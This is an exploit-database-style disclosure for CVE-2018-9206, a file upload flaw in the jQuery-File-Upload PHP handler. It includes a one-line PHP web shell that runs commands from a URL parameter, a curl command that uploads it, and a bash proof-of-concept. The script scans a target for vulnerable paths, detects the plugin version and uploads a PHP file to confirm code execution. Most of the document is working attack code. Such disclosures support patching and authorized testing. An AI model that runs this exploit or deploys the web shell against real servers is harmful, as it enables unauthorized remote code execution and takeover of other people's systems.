# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload
# Author: Larry W. Cashdollar, @_larry0
# Date: 2018-10-09
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
# CVE-ID: N/A
# Vulnerability:
# The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php
# doesn't require any validation to upload files to the server. It also doesn't exclude file types.
# This allows for remote code execution.
# shell.php:
<?php $cmd=$_GET['cmd']; system($cmd);?>
# Exploit Code:
$ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php
#!/bin/bash
USERAGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
PATHS=("server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php")
MALICIOUS_FILE="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n 1).php"
# What is added in this exploit from the original version
# - a bit of refactoring
# - automatically request the right filename if it already exists on server ex: 'file (1).php'
# - Try to detect plugin version,
# - Try to detect index.html (allowing files upload via gui)
# Checking curl & jq
curl -h &>/dev/null
if [ $? -ne 0 ]; then
echo "[!] Please install curl."
echo "# apt install curl"
exit 1
fi
jq -h &>/dev/null
if [ $? -ne 0 ]; then
echo "[!] Please install jq."
echo "# apt install jq"
exit 1
fi
# Checking url
if [ -z $1 ]; then
echo "[!] Please supply a target host as an argument."
echo "$0 http://www.example.com"
exit 1
fi
# Generating payload
echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}
echo "________________________________________________________________________________"
echo "|PoC Exploit for Blueimp's jQuery File Uploader CVE-2018-9206"
echo "|Checks for older versions of the code and upload an harmless file."
echo "|"
echo "| @_larry0, @phackt_ul"
echo "|Works for version <= 9.22.0 and with Apache > 2.3.9 (AllowOverride None)."
echo "---/"
echo
echo "[+] Checking variations :"
# Creating alias
curl='curl --connect-timeout 10 -sk -A "${USERAGENT}"'
index=-1
found=0
# Looking for upload php class file
for x in ${PATHS[@]}; do
echo "[*] Testing... -> $1/$x"
${curl} -i "$1/$x" | head -1 | grep 200 &>/dev/null
if [ $? -eq 0 ]; then
echo "[+] Found Path: $x"
index=$((${index}+1))
found=1
break;
fi;
index=$((${index}+1))
done
# Determining the exploit path according to the jquery version
exploit_path=""
if [ ${index} -eq 0 -o ${index} -eq 2 ];then
exploit_path="server/php/index.php"
fi
if [ ${index} -eq 1 ];then
exploit_path="example/upload.php"
fi
if [ ${index} -eq 3 ];then
exploit_path="php/index.php"
fi
if [ ${found} -ne 1 ]; then
echo "[!] ### Error: A vulnerable jQuery-File-Upload plugin was not found!"
exit 1
fi
# Trying to detect bower.json, package.json
version_files=("bower.json package.json")
for x in ${version_files[@]}; do
version=`${curl} "$1/$x" | jq -r .version`
if [ "X" != "X""${version}" ]; then
echo "[!] Found: Plugin version ${version}"
break;
fi
done
# Trying to detect index.html
${curl} "$1/index.html" | grep -i "jquery file upload" &>/dev/null
if [ $? -eq 0 ]; then
echo "[!] Found: $1/index.html is accessible"
fi
# Uploading payload
res=""
echo "[+] Running ${curl} -F \"files[]=@${MALICIOUS_FILE}\" -F \"filename=${MALICIOUS_FILE}\" \"$1/${exploit_path}\""
filename=`${curl} -F "files[]=@${MALICIOUS_FILE}" -F "filename=${MALICIOUS_FILE}" "$1/${exploit_path}" | jq -r .files[].name`
if [ "X""${filename}" == "X" ]; then
echo "[!] It seems that we had a false positive! :("
exit 1
fi
filename=`echo "$filename" | sed 's/ /%20/g'`
# Trying to see if victim has been exploited
echo "[+] Testing path: $1/$(dirname ${exploit_path})/files/${filename}"
res=`${curl} "$1/$(dirname ${exploit_path})/files/${filename}"`
if [ "${res}" == "it works" ]; then
echo "[!] Found: $1 is vulnerable"
else
echo "[+] Seems not vulnerable :("
fi
rm -f "${MALICIOUS_FILE}" &>/dev/null